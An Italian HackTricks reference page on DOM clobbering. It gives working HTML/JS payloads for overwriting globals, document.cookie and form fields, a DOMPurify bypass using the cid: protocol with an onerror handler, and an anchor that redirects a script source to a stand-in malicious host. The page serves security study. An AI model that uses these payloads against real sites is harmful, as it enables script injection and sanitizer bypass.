Dom Clobbering

Support HackTricks

Basics

È possibile generare variabili globali all'interno del contesto JS con gli attributi id e name nei tag HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Solo alcuni elementi possono utilizzare l'attributo name per clobber i globali, essi sono: embed, form, iframe, image, img e object.

È interessante notare che, quando si utilizza un elemento form per clobber una variabile, si otterrà il valore toString dell'elemento stesso: [object HTMLFormElement], ma con anchor il toString sarà l'href dell'anchor. Pertanto, se si clobber utilizzando il tag a, si può controllare il valore quando è trattato come una stringa:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

È anche possibile sovrascrivere un array e attributi di oggetti:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Per sovrascrivere un 3° attributo (ad es. x.y.z), è necessario utilizzare un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering più attributi è più complicato ma ancora possibile, usando iframe:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Il tag style è usato per dare abbastanza tempo all'iframe per renderizzare. Senza di esso troverai un avviso di undefined.

Per sovrascrivere attributi più profondi, puoi usare iframes con codifica html in questo modo:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Evasione dei Filtri

Se un filtro sta iterando attraverso le proprietà di un nodo utilizzando qualcosa come document.getElementByID('x').attributes, potresti sovrascrivere l'attributo .attributes e rompere il filtro. Altre proprietà del DOM come tagName, nodeName o parentNode e altre sono anch'esse sovrascrivibili.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

In JavaScript è comune trovare:

var someObject = window.someObject || {};

Manipolare l'HTML sulla pagina consente di sovrascrivere someObject con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, puoi sostituire someObject con un elemento di ancoraggio che punta a uno script malevolo:

<a id=someObject href=//malicious-website.com/malicious.js></a>

In un codice vulnerabile come:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Questo metodo sfrutta la sorgente dello script per eseguire codice indesiderato.

Trucco: DOMPurify consente di utilizzare il protocollo cid:, che non codifica in URL le virgolette doppie. Ciò significa che puoi iniettare una virgoletta doppia codificata che verrà decodificata durante l'esecuzione. Pertanto, iniettare qualcosa come <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> farà sì che l'HTML codificato &quot; venga decodificato durante l'esecuzione e escapato dal valore dell'attributo per creare l'evento onerror.

Un'altra tecnica utilizza un elemento form. Alcune librerie client-side ispezionano gli attributi di un nuovo elemento form creato per pulirli. Tuttavia, aggiungendo un input con id=attributes all'interno del modulo, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizzatore di accedere agli attributi reali.

Puoi trovare un esempio di questo tipo di clobbering in questo CTF writeup.

Clobbering dell'oggetto documento

Secondo la documentazione, è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando il DOM Clobbering:

L'interfaccia Document supporta proprietà nominate. I nomi delle proprietà supportate di un oggetto Document in qualsiasi momento consistono nei seguenti, in ordine ad albero secondo l'elemento che le ha contribuite, ignorando i duplicati successivi, e con i valori degli attributi id che vengono prima dei valori degli attributi name quando lo stesso elemento contribuisce a entrambi:

- Il valore dell'attributo di contenuto name per tutti gli elementi exposed embed, form, iframe, img e exposed object che hanno un attributo di contenuto name non vuoto e sono in un albero di documenti con il documento come loro radice; - Il valore dell'attributo di contenuto id per tutti gli elementi exposed object che hanno un attributo di contenuto id non vuoto e sono in un albero di documenti con il documento come loro radice; - Il valore dell'attributo di contenuto id per tutti gli elementi img che hanno sia un attributo di contenuto id non vuoto che un attributo di contenuto name non vuoto, e sono in un albero di documenti con il documento come loro radice.

Utilizzando questa tecnica, puoi sovrascrivere valori comunemente usati come document.cookie, document.body, document.children, e persino metodi nell'interfaccia Document come document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Scrivere dopo l'elemento clobbered

I risultati delle chiamate a document.getElementById() e document.querySelector() possono essere alterati iniettando un tag <html> o <body> con un attributo id identico. Ecco come può essere fatto:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, si può prevenire l'interferenza di altro testo in innerText, migliorando così l'efficacia dell'attacco:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Le indagini su SVG hanno rivelato che un tag <body> può essere utilizzato efficacemente:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Per il tag HTML per funzionare all'interno di SVG in browser come Chrome e Firefox, è necessario un tag <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

È possibile aggiungere nuove voci all'interno di un modulo semplicemente specificando l'attributo form all'interno di alcuni tag. Puoi usare questo per aggiungere nuovi valori all'interno di un modulo e persino aggiungere un pulsante per inviarlo (clickjacking o abusando di qualche codice JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Riferimenti

Supporta HackTricks

Last updated